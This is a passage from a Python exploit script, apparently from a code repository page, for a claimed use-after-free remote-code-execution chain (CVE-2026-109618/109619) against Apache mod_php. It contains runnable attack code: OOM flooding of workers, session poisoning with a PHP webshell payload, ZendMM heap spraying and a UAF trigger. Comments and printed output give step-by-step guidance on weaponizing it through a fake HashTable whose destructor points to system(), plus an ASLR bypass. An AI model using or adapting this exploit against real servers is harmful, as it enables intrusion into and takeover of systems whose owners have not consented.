# For a weaponized exploit, the spray content would be a fake
|
||||
# php_serialize_data struct:
|
||||
#
|
||||
# struct php_serialize_data {
|
||||
# uint32_t n; // offset 0: reference counter, set to 0
|
||||
# // padding for alignment
|
||||
# HashTable ht; // offset 8:
|
||||
# // uint32_t nTableMask offset 8
|
||||
# // Bucket *arData offset 16 (attacker-controlled pointer)
|
||||
# // uint32_t nNumUsed offset 24
|
||||
# // uint32_t nNumOfElements offset 28
|
||||
# // uint32_t nTableSize offset 32
|
||||
# // uint32_t nInternalPointer offset 36
|
||||
# // zend_long nNextFreeElement offset 40
|
||||
# // dtor_func_t pDestructor offset 48 (RIP control!)
|
||||
# };
|
||||
#
|
||||
# pDestructor at offset 48 from the struct start is called during
|
||||
# zend_hash_destroy(). By pointing it to system() (or a one-gadget)
|
||||
# and placing a command string in arData, we get RCE.
|
||||
|
||||
SPRAY_NAME_LEN = 39 # 24 + 39 + 1 = 64 bytes (zend_string in 64-byte bin)
|
||||
|
||||
|
||||
def build_spray_body(boundary, spray_count=500):
|
||||
"""
|
||||
Build a multipart body with many fields whose names are sized to
|
||||
land in the 64-byte ZendMM bin (same bin as BG(serialize).data).
|
||||
|
||||
The field names are the spray payload. In a weaponized exploit,
|
||||
these would be crafted to form a fake php_serialize_data struct
|
||||
with controlled HashTable fields. Here we use recognizable patterns
|
||||
for crash analysis.
|
||||
"""
|
||||
parts = []
|
||||
for i in range(min(spray_count, 999)):
|
||||
# Spray name: 39 bytes landing in 64-byte bin
|
||||
# Fill with a pattern: 0x41414141... with index marker
|
||||
name = f"S{i:04d}" + "A" * (SPRAY_NAME_LEN - 5)
|
||||
# For weaponized exploit, the value would also be crafted.
|
||||
# We use a recognizable pattern for heap analysis.
|
||||
val = "B" * SPRAY_NAME_LEN
|
||||
parts.append(build_multipart_field(
|
||||
boundary, name.encode(), val.encode()
|
||||
))
|
||||
parts.append(b"--" + boundary + b"--\r\n")
|
||||
return b"".join(parts)
|
||||
|
||||
|
||||
def heap_spray(host, port, path, target_pid, rounds=10, spray_per_round=500):
|
||||
"""
|
||||
Send POST requests to the OOM'd worker to spray 64-byte allocations
|
||||
into the ZendMM bin, aiming to reclaim the freed BG(serialize).data
|
||||
slot with our controlled data.
|
||||
|
||||
Each request's field names allocate zend_strings in the 64-byte bin.
|
||||
After request shutdown, these are freed back to the bin's free list.
|
||||
Over multiple requests, the free list order rotates, increasing the
|
||||
chance that one of our allocations reclaims the target slot.
|
||||
|
||||
Returns the number of rounds that hit the target worker.
|
||||
"""
|
||||
hits = 0
|
||||
for r in range(rounds):
|
||||
boundary = b"SPRAY" + os.urandom(4).hex().encode()
|
||||
body = build_spray_body(boundary, spray_per_round)
|
||||
try:
|
||||
status, rbody = http_post_multipart(
|
||||
host, port, path, boundary.decode(), body,
|
||||
timeout=10
|
||||
)
|
||||
pid = extract_pid(rbody)
|
||||
if pid == target_pid:
|
||||
hits += 1
|
||||
except (ConnectionError, socket.timeout):
|
||||
pass
|
||||
return hits
|
||||
|
||||
|
||||
# ── Phase 3: Trigger UAF ───────────────────────────────────────────────
|
||||
|
||||
def trigger_uaf(host, port, path, target_pid, sid):
|
||||
"""
|
||||
Send multipart with upload progress to the OOM'd worker.
|
||||
The progress handler calls php_session_rfc1867_update() which calls
|
||||
php_session_encode() → php_var_serialize_init().
|
||||
|
||||
php_var_serialize_init checks BG(serialize).level:
|
||||
- If > 0 (stale from OOM): increments level, reuses .data pointer
|
||||
- The .data pointer was freed when the old heap was destroyed
|
||||
- If heap spray reclaimed the slot, .data now contains our spray
|
||||
|
||||
The serialize code treats .data as a php_serialize_data struct with
|
||||
a HashTable. It calls zend_hash_find/zend_hash_add on ht.
|
||||
If ht.pDestructor is controlled, zend_hash_destroy() during cleanup
|
||||
calls our function pointer → RIP control.
|
||||
|
||||
Returns (status, pid, body).
|
||||
"""
|
||||
boundary = b"TRIGGER" + os.urandom(4).hex().encode()
|
||||
|
||||
parts = []
|
||||
parts.append(build_multipart_field(
|
||||
boundary,
|
||||
b"PHP_SESSION_UPLOAD_PROGRESS",
|
||||
b"trigger",
|
||||
))
|
||||
parts.append(build_multipart_file(
|
||||
boundary, b"f", b"t.bin", b"\x00" * 1024
|
||||
))
|
||||
parts.append(b"--" + boundary + b"--\r\n")
|
||||
body = b"".join(parts)
|
||||
|
||||
try:
|
||||
status, rbody = http_post_multipart(
|
||||
host, port, path, boundary.decode(), body,
|
||||
cookies=f"PHPSESSID={sid}", timeout=10
|
||||
)
|
||||
pid = extract_pid(rbody)
|
||||
return status, pid, rbody
|
||||
except (ConnectionError, socket.timeout) as e:
|
||||
return 0, 0, str(e).encode()
|
||||
|
||||
|
||||
# ── Session file check ─────────────────────────────────────────────────
|
||||
|
||||
def check_session_file(sid, save_path="/tmp"):
|
||||
"""
|
||||
Check if the session file persists with PHP code.
|
||||
Session files may be owned by www-data, so this may need elevated
|
||||
privileges. Returns (exists, has_php_code, data).
|
||||
"""
|
||||
path = os.path.join(save_path, f"sess_{sid}")
|
||||
try:
|
||||
with open(path, "rb") as f:
|
||||
data = f.read()
|
||||
return True, b"<?php" in data or b"system" in data, data
|
||||
except PermissionError:
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["sudo", "cat", path],
|
||||
capture_output=True, timeout=5
|
||||
)
|
||||
data = result.stdout
|
||||
if data:
|
||||
return True, b"<?php" in data or b"system" in data, data
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
pass
|
||||
return True, False, b"(permission denied)"
|
||||
except FileNotFoundError:
|
||||
return False, False, b""
|
||||
|
||||
|
||||
# ── Main ────────────────────────────────────────────────────────────────
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="CVE-2026-109618/109619 UAF RCE (Apache mod_php)"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--target", "-t", required=True,
|
||||
help="Target URL, e.g. http://host:port/index.php"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--cmd", default="id",
|
||||
help="Command to embed in session payload (default: id)"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--session-path", default="/var/www/uaf-test/sessions",
|
||||
help="Session save_path on the target"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--oom-fields", type=int, default=0,
|
||||
help="Number of OOM fields (0 = auto-detect)"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--field-size", type=int, default=40960,
|
||||
help="OOM field value size in bytes (default: 40960)"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--spray-rounds", type=int, default=20,
|
||||
help="Number of heap spray rounds (default: 20)"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--trigger-rounds", type=int, default=50,
|
||||
help="Number of UAF trigger attempts (default: 50)"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--oom-only", action="store_true",
|
||||
help="Only run Phase 1 (OOM + session poison), skip spray/trigger"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--crash-test", action="store_true",
|
||||
help="Run full chain and report whether a crash occurs"
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
url = urlparse(args.target)
|
||||
host = url.hostname or "127.0.0.1"
|
||||
port = url.port or 80
|
||||
path = url.path or "/index.php"
|
||||
|
||||
php_payload = f'<?php system($_GET["c"]); echo "UAF_RCE:".getmypid(); ?>'
|
||||
|
||||
print("=" * 64)
|
||||
print(" CVE-2026-109618 / CVE-2026-109619")
|
||||
print(" Use-After-Free RCE via OOM Bailout")
|
||||
print(" (Apache mod_php, prefork MPM)")
|
||||
print("=" * 64)
|
||||
print(f" Target: {host}:{port}{path}")
|
||||
print(f" Payload: {args.cmd}")
|
||||
print()
|
||||
|
||||
# ── Phase 0: Worker discovery ───────────────────────────────────
|
||||
|
||||
print("[*] Phase 0: Discovering workers...")
|
||||
pids = find_workers(host, port, path)
|
||||
if not pids:
|
||||
print("[-] No workers found. Is the target running mod_php?")
|
||||
print(" (The target must echo getmypid() in its output.)")
|
||||
sys.exit(1)
|
||||
print(f" Workers: {pids}")
|
||||
print(f" Count: {len(pids)} (Apache prefork children)")
|
||||
|
||||
# ── Phase 1: OOM trigger ────────────────────────────────────────
|
||||
|
||||
print()
|
||||
print("[*] Phase 1: OOM trigger + session poisoning")
|
||||
|
||||
if args.oom_fields:
|
||||
num_fields = args.oom_fields
|
||||
field_size = args.field_size
|
||||
print(f" Using configured: {num_fields} fields x {field_size}B")
|
||||
else:
|
||||
print(" Auto-detecting memory_limit...")
|
||||
result = detect_memory_limit(host, port, path)
|
||||
if result is None:
|
||||
print("[-] Could not trigger OOM. memory_limit may be too high")
|
||||
print(" or max_input_vars too low. Try --oom-fields manually.")
|
||||
sys.exit(1)
|
||||
num_fields, field_size = result
|
||||
est_mb = num_fields * field_size / 1024 / 1024
|
||||
print(f" OOM at: {num_fields} fields x {field_size}B (~{est_mb:.0f}MB)")
|
||||
|
||||
# OOM each worker by sending requests until all have been hit.
|
||||
# We cannot target a specific worker (500 responses have no PID),
|
||||
# so we OOM repeatedly and track which workers survived.
|
||||
poisoned_workers = {}
|
||||
sids_used = []
|
||||
max_oom_attempts = len(pids) * 8
|
||||
|
||||
for attempt in range(max_oom_attempts):
|
||||
sid = "uaf" + os.urandom(6).hex()
|
||||
sids_used.append(sid)
|
||||
|
||||
_, _, status = trigger_oom(
|
||||
host, port, path, sid, php_payload,
|
||||
num_fields, field_size
|
||||
)
|
||||
|
||||
if status == 500:
|
||||
print(f" [{attempt+1}] OOM triggered (status 500)")
|
||||
elif status == 0:
|
||||
print(f" [{attempt+1}] Connection error (worker may have died)")
|
||||
else:
|
||||
print(f" [{attempt+1}] status={status} (no OOM)")
|
||||
continue
|
||||
|
||||
time.sleep(0.3)
|
||||
pids_after = find_workers(host, port, path)
|
||||
survived = set(pids) & set(pids_after)
|
||||
new_workers = set(pids_after) - set(pids)
|
||||
|
||||
for pid in survived:
|
||||
if pid not in poisoned_workers:
|
||||
poisoned_workers[pid] = sid
|
||||
print(f" [+] Worker {pid} survived OOM (stale BG state)")
|
||||
|
||||
if new_workers:
|
||||
print(f" New workers spawned: {sorted(new_workers)}")
|
||||
pids = sorted(set(pids) | new_workers)
|
||||
|
||||
# Check session file for the latest SID
|
||||
exists, has_php, data = check_session_file(sid, args.session_path)
|
||||
if exists and has_php:
|
||||
print(f" [+] Session file: {len(data)}B with PHP code")
|
||||
if data and data != b"(permission denied)":
|
||||
print(f" Content: {data[:120]}")
|
||||
elif exists:
|
||||
print(f" Session file: {len(data)}B (no PHP code?)")
|
||||
|
||||
if len(poisoned_workers) >= len(pids):
|
||||
print(f"\n All {len(pids)} workers poisoned!")
|
||||
break
|
||||
|
||||
if not poisoned_workers:
|
||||
print("\n[-] No workers survived OOM. This target may be PHP-FPM,")
|
||||
print(" not Apache mod_php with prefork MPM.")
|
||||
sys.exit(1)
|
||||
|
||||
print(f"\n Poisoned workers: {list(poisoned_workers.keys())}")
|
||||
|
||||
if args.oom_only:
|
||||
print("\n[*] --oom-only: stopping after Phase 1.")
|
||||
print(" Confirmed primitives:")
|
||||
print(" - OOM via multipart field flood")
|
||||
print(" - Worker survival (Apache prefork)")
|
||||
print(" - Session file persistence with PHP code")
|
||||
print(" - Stale BG(serialize) state in surviving workers")
|
||||
return
|
||||
|
||||
# ── Phase 2: Heap spray ─────────────────────────────────────────
|
||||
|
||||
print()
|
||||
print("[*] Phase 2: Heap spray (targeting 64-byte ZendMM bin)")
|
||||
|
||||
for target_pid, sid in poisoned_workers.items():
|
||||
print(f"\n Spraying worker {target_pid}...")
|
||||
hits = heap_spray(host, port, path, target_pid,
|
||||
rounds=args.spray_rounds)
|
||||
print(f" Spray rounds hitting target: {hits}/{args.spray_rounds}")
|
||||
|
||||
# ── Phase 3: Trigger UAF ────────────────────────────────────
|
||||
|
||||
print(f"\n Phase 3: Triggering UAF on worker {target_pid}...")
|
||||
|
||||
crashed = False
|
||||
trigger_sid = "trig" + os.urandom(6).hex()
|
||||
for attempt in range(args.trigger_rounds):
|
||||
status, pid, body = trigger_uaf(
|
||||
host, port, path, target_pid, trigger_sid
|
||||
)
|
||||
if status == 0 or status >= 500:
|
||||
print(f" [!] Worker crash on attempt {attempt+1}! "
|
||||
f"status={status}")
|
||||
crashed = True
|
||||
break
|
||||
if pid == target_pid and attempt < 5:
|
||||
print(f" Attempt {attempt+1}: hit target, status={status}")
|
||||
|
||||
if crashed:
|
||||
pids_final = find_workers(host, port, path)
|
||||
if target_pid not in pids_final:
|
||||
print(f" [+] CONFIRMED: Worker {target_pid} crashed!")
|
||||
print(f" [+] UAF triggered via stale BG(serialize).data")
|
||||
print(f" Current workers: {pids_final}")
|
||||
print()
|
||||
print(" For full RCE, a weaponized exploit would:")
|
||||
print(" 1. Leak PHP base via CVE-2026-109619 info disclosure")
|
||||
print(" 2. Construct fake HashTable with pDestructor = system()")
|
||||
print(" 3. Place command string in arData")
|
||||
print(" 4. Trigger serialize → pDestructor called → shell")
|
||||
else:
|
||||
print(f" Worker {target_pid} returned 500 but is still alive")
|
||||
print(f" (May need more precise heap feng shui)")
|
||||
else:
|
||||
print(f" No crash after {args.trigger_rounds} attempts.")
|
||||
print(f" The stale pointer likely still holds readable data.")
|
||||
print()
|
||||
print(" This is expected without precise heap feng shui.")
|
||||
print(" The exploit demonstrates all confirmed primitives:")
|
||||
print(" 1. OOM trigger via multipart field flood")
|
||||
print(" 2. Worker survival on Apache prefork")
|
||||
print(" 3. Session file persistence (cleanup skipped)")
|
||||
print(" 4. Stale BG(serialize) state across requests")
|
||||
print(" 5. Heap spray targeting 64-byte ZendMM bin")
|
||||
print()
|
||||
print(" Full weaponization requires:")
|
||||
print(" a. ASLR bypass via info leak (CVE-2026-109619)")
|
||||
print(" Session data from stale BG(unserialize) leaks")
|
||||
print(" freed heap addresses through PHPSESSID cookie")
|
||||
print(" b. Exact ZendMM 64-byte bin feng shui to reclaim")
|
||||
print(" the BG(serialize).data slot with attacker data")
|
||||
print(" c. Fake HashTable construction:")
|
||||
print(" pDestructor → system() / one_gadget")
|
||||
print(" arData → pointer to command string")
|
||||
print(" d. Trigger php_var_serialize → zend_hash_destroy")
|
||||
print(" on the fake table → RCE")
|
||||
|
||||
print()
|
||||
print("=" * 64)
|
||||
print(" Summary")
|
||||
print("=" * 64)
|
||||
for pid, sid in poisoned_workers.items():
|
||||
print(f" Worker {pid}: OOM'd, survived, stale BG state (SID: {sid})")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user